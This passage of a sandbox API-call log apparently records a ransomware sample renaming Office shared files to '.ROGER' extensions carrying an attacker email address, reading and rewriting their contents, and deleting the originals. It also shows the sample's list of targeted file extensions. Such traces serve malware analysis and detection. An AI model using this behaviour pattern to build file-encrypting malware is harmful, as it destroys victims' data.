(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.811] lstrlenW (lpString=".doc") returned 4 [0049.811] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString=".docx") returned 5 [0049.811] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.811] lstrlenW (lpString=".pdf") returned 4 [0049.811] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.811] lstrlenW (lpString=".xls") returned 4 [0049.811] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.811] lstrlenW (lpString=".xlsx") returned 5 [0049.811] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.811] lstrlenW (lpString=".ppt") returned 4 [0049.812] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.812] lstrlenW (lpString=".zip") returned 4 [0049.812] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.812] lstrlenW (lpString=".rar") returned 4 [0049.812] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.812] lstrlenW (lpString=".bz2") returned 4 [0049.812] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.812] lstrlenW (lpString=".7z") returned 3 [0049.812] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.812] lstrlenW (lpString=".dbf") returned 4 [0049.812] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.812] lstrlenW (lpString=".1cd") returned 4 [0049.812] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.812] lstrlenW (lpString=".jpg") returned 4 [0049.812] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.812] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.812] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.879] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=18380) returned 1 [0049.879] CloseHandle (hObject=0x358) returned 1 [0049.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0049.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.880] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.880] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.880] GetLastError () returned 0x0 [0049.880] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0049.882] WriteFile (in: hFile=0x36c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0049.883] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.883] WriteFile (in: hFile=0x36c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.883] SetEndOfFile (hFile=0x36c) returned 1 [0049.883] CloseHandle (hObject=0x36c) returned 1 [0049.883] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.883] SetEndOfFile (hFile=0x358) returned 1 [0049.884] CloseHandle (hObject=0x358) returned 1 [0049.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.884] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.884] lstrlenW (lpString=".doc") returned 4 [0049.884] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.884] lstrlenW (lpString=".docx") returned 5 [0049.884] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.885] lstrlenW (lpString=".pdf") returned 4 [0049.885] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.885] lstrlenW (lpString=".xls") returned 4 [0049.885] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.885] lstrlenW (lpString=".xlsx") returned 5 [0049.885] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.885] lstrlenW (lpString=".ppt") returned 4 [0049.885] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.885] lstrlenW (lpString=".zip") returned 4 [0049.885] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.885] lstrlenW (lpString=".rar") returned 4 [0049.885] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.885] lstrlenW (lpString=".bz2") returned 4 [0049.885] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.885] lstrlenW (lpString=".7z") returned 3 [0049.885] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.885] lstrlenW (lpString=".dbf") returned 4 [0049.885] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.885] lstrlenW (lpString=".1cd") returned 4 [0049.885] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.885] lstrlenW (lpString=".jpg") returned 4 [0049.885] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.885] lstrlenW (lpString=".doc") returned 4 [0049.885] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.885] lstrlenW (lpString=".docx") returned 5 [0049.886] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.886] lstrlenW (lpString=".pdf") returned 4 [0049.886] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.886] lstrlenW (lpString=".xls") returned 4 [0049.886] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.886] lstrlenW (lpString=".xlsx") returned 5 [0049.886] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.886] lstrlenW (lpString=".ppt") returned 4 [0049.886] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.886] lstrlenW (lpString=".zip") returned 4 [0049.886] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.886] lstrlenW (lpString=".rar") returned 4 [0049.886] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.886] lstrlenW (lpString=".bz2") returned 4 [0049.886] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.886] lstrlenW (lpString=".7z") returned 3 [0049.886] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.886] lstrlenW (lpString=".dbf") returned 4 [0049.886] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.886] lstrlenW (lpString=".1cd") returned 4 [0049.886] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.886] lstrlenW (lpString=".jpg") returned 4 [0049.886] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.886] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.886] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.073] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=44302) returned 1 [0050.073] CloseHandle (hObject=0x358) returned 1 [0050.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0050.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.073] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.073] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.073] GetLastError () returned 0x0 [0050.073] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0050.080] WriteFile (in: hFile=0x390, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0050.082] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.082] WriteFile (in: hFile=0x390, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.082] SetEndOfFile (hFile=0x390) returned 1 [0050.082] CloseHandle (hObject=0x390) returned 1 [0050.082] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.083] SetEndOfFile (hFile=0x358) returned 1 [0050.084] CloseHandle (hObject=0x358) returned 1 [0050.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.084] lstrlenW (lpString=".doc") returned 4 [0050.084] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.084] lstrlenW (lpString=".docx") returned 5 [0050.084] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.084] lstrlenW (lpString=".pdf") returned 4 [0050.084] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.084] lstrlenW (lpString=".xls") returned 4 [0050.084] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.084] lstrlenW (lpString=".xlsx") returned 5 [0050.084] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.085] lstrlenW (lpString=".ppt") returned 4 [0050.085] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.085] lstrlenW (lpString=".zip") returned 4 [0050.085] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.085] lstrlenW (lpString=".rar") returned 4 [0050.085] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.085] lstrlenW (lpString=".bz2") returned 4 [0050.085] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.085] lstrlenW (lpString=".7z") returned 3 [0050.085] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.085] lstrlenW (lpString=".dbf") returned 4 [0050.085] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.085] lstrlenW (lpString=".1cd") returned 4 [0050.085] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.085] lstrlenW (lpString=".jpg") returned 4 [0050.085] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.085] lstrlenW (lpString=".doc") returned 4 [0050.085] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.085] lstrlenW (lpString=".docx") returned 5 [0050.085] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.085] lstrlenW (lpString=".pdf") returned 4 [0050.085] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.085] lstrlenW (lpString=".xls") returned 4 [0050.085] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.085] lstrlenW (lpString=".xlsx") returned 5 [0050.085] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.086] lstrlenW (lpString=".ppt") returned 4 [0050.086] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.086] lstrlenW (lpString=".zip") returned 4 [0050.086] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.086] lstrlenW (lpString=".rar") returned 4 [0050.086] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.086] lstrlenW (lpString=".bz2") returned 4 [0050.086] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.086] lstrlenW (lpString=".7z") returned 3 [0050.086] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.086] lstrlenW (lpString=".dbf") returned 4 [0050.086] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.086] lstrlenW (lpString=".1cd") returned 4 [0050.086] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0050.086] lstrlenW (lpString=".jpg") returned 4 [0050.086] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.086] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0050.086] lstrlenW (lpString="VBOB6.CHM") returned 9 [0050.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.087] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=123956) returned 1 [0050.087] CloseHandle (hObject=0x358) returned 1 [0050.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0050.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.087] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.087] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0050.088] GetLastError () returned 0x0 [0050.088] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0050.130] WriteFile (in: hFile=0x390, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0050.134] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.134] WriteFile (in: hFile=0x390, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.134] SetEndOfFile (hFile=0x390) returned 1 [0050.134] CloseHandle (hObject=0x390) returned 1 [0050.134] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.134] SetEndOfFile (hFile=0x358) returned 1 [0050.136] CloseHandle (hObject=0x358) returned 1 [0050.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.137] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0050.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.137] lstrlenW (lpString=".doc") returned 4 [0050.137] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.137] lstrlenW (lpString=".docx") returned 5 [0050.137] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.137] lstrlenW (lpString=".pdf") returned 4 [0050.137] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.137] lstrlenW (lpString=".xls") returned 4 [0050.137] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.137] lstrlenW (lpString=".xlsx") returned 5 [0050.137] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.137] lstrlenW (lpString=".ppt") returned 4 [0050.137] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.137] lstrlenW (lpString=".zip") returned 4 [0050.137] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.137] lstrlenW (lpString=".rar") returned 4 [0050.138] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.138] lstrlenW (lpString=".bz2") returned 4 [0050.138] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.138] lstrlenW (lpString=".7z") returned 3 [0050.138] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.138] lstrlenW (lpString=".dbf") returned 4 [0050.138] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.138] lstrlenW (lpString=".1cd") returned 4 [0050.138] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 